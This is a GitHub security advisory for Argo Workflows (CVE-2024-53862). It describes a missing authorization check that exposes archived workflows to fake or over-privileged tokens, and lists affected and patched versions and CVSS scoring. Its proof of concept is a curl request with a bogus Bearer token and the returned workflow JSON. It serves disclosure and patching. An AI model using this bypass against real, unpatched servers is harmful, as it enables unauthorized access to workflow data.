Skip to content

Server: Access to Archived Workflows with incorrect Token in `client` or `sso` mode

Moderate
Joibel published GHSA-h36c-m3rf-34h9 Dec 2, 2024

Package

gomod github.com/argoproj/argo-workflows (Go)

Affected versions

>= 3.5.7

Patched versions

v3.6.2, v3.5.13

Description

Summary

When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

Details

No authentication is performed by the Server itself on client tokens1. Authentication & authorization is instead delegated to the k8s API server.
However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.

PoC

Configuration

Controller ConfigMap:

  config: |
    persistence:
      archive: true
      postgresql:
        database: argoworkflows
        host: db-host
        passwordSecret:
          key: postgresPassword
          name: argo-wf-postgres-credentials
        port: 5432
        tableName: argo_workflows
        userNameSecret:
          key: username
          name: argo-wf-postgres-credentials

Server: --auth-mode=client

Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):

curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g
Results in a returned workflow:
* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
    "metadata": {
        "name": "hello-world-7tv5g",
        "generateName": "hello-world-",
        "namespace": "argo",
        "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
        "resourceVersion": "9982",
        "generation": 3,
        "creationTimestamp": "2024-08-13T23:59:20Z",
        "labels": {
            "workflows.argoproj.io/archive-strategy": "false",
            "workflows.argoproj.io/completed": "true",
            "workflows.argoproj.io/phase": "Succeeded",
            "workflows.argoproj.io/workflow-archiving-status": "Persisted"
        },
        "annotations": {
            "workflows.argoproj.io/description": "This is a simple hello world example.\n",
            "workflows.argoproj.io/pod-name-format": "v2"
        },
        "managedFields": [
            {
                "manager": "argo",
                "operation": "Update",
                "apiVersion": "argoproj.io/v1alpha1",
                "time": "2024-08-13T23:59:20Z",
                "fieldsType": "FieldsV1",
                "fieldsV1": {
                    "f:metadata": {
                        "f:annotations": {
                            ".": {},
                            "f:workflows.argoproj.io/description": {}
                        },
                        "f:generateName": {},
                        "f:labels": {
                            ".": {},
                            "f:workflows.argoproj.io/archive-strategy": {}
                        }
                    },
                    "f:spec": {}
                }
            },
            {
                "manager": "workflow-controller",
                "operation": "Update",
                "apiVersion": "argoproj.io/v1alpha1",
                "time": "2024-08-13T23:59:30Z",
                "fieldsType": "FieldsV1",
                "fieldsV1": {
                    "f:metadata": {
                        "f:annotations": {
                            "f:workflows.argoproj.io/pod-name-format": {}
                        },
                        "f:labels": {
                            "f:workflows.argoproj.io/completed": {},
                            "f:workflows.argoproj.io/phase": {},
                            "f:workflows.argoproj.io/workflow-archiving-status": {}
                        }
                    },
                    "f:status": {}
                }
            }
        ]
    },
    "spec": {
        "templates": [
            {
                "name": "hello-world",
                "inputs": {},
                "outputs": {},
                "metadata": {},
                "container": {
                    "name": "",
                    "image": "busybox",
                    "command": [
                        "echo"
                    ],
                    "args": [
                        "hello world"
                    ],
                    "resources": {}
                }
            }
        ],
        "entrypoint": "hello-world",
        "arguments": {},
        "serviceAccountName": "argo-workflow"
    },
    "status": {
        "phase": "Succeeded",
        "startedAt": "2024-08-13T23:59:20Z",
        "finishedAt": "2024-08-13T23:59:30Z",
        "progress": "1/1",
        "nodes": {
            "hello-world-7tv5g": {
                "id": "hello-world-7tv5g",
                "name": "hello-world-7tv5g",
                "displayName": "hello-world-7tv5g",
                "type": "Pod",
                "templateName": "hello-world",
                "templateScope": "local/hello-world-7tv5g",
                "phase": "Succeeded",
                "startedAt": "2024-08-13T23:59:20Z",
                "finishedAt": "2024-08-13T23:59:24Z",
                "progress": "1/1",
                "resourcesDuration": {
                    "cpu": 0,
                    "memory": 3
                },
                "outputs": {
                    "exitCode": "0"
                },
                "hostNodeName": "kind-control-plane"
            }
        },
        "conditions": [
            {
                "type": "PodRunning",
                "status": "False"
            },
            {
                "type": "Completed",
                "status": "True"
            }
        ],
        "resourcesDuration": {
            "cpu": 0,
            "memory": 3
        },
        "artifactRepositoryRef": {
            "default": true,
            "artifactRepository": {}
        },
        "artifactGCStatus": {
            "notSpecified": true
        },
        "taskResultsCompletionStatus": {
            "hello-world-7tv5g": true
        }
    }
}%

Impact

Users of the Server with --auth-mode=client and with persistence.archive: true are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.

Users of the Server with --auth-mode=sso and with persistence.archive: true are vulnerable to users being able to access workflows they could not access before archiving.

Footnotes

  1. sso tokens, on the other hand, are immediately "authorized". The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the client tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for client tokens via the k8s API server.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

CVE ID

CVE-2024-53862

Credits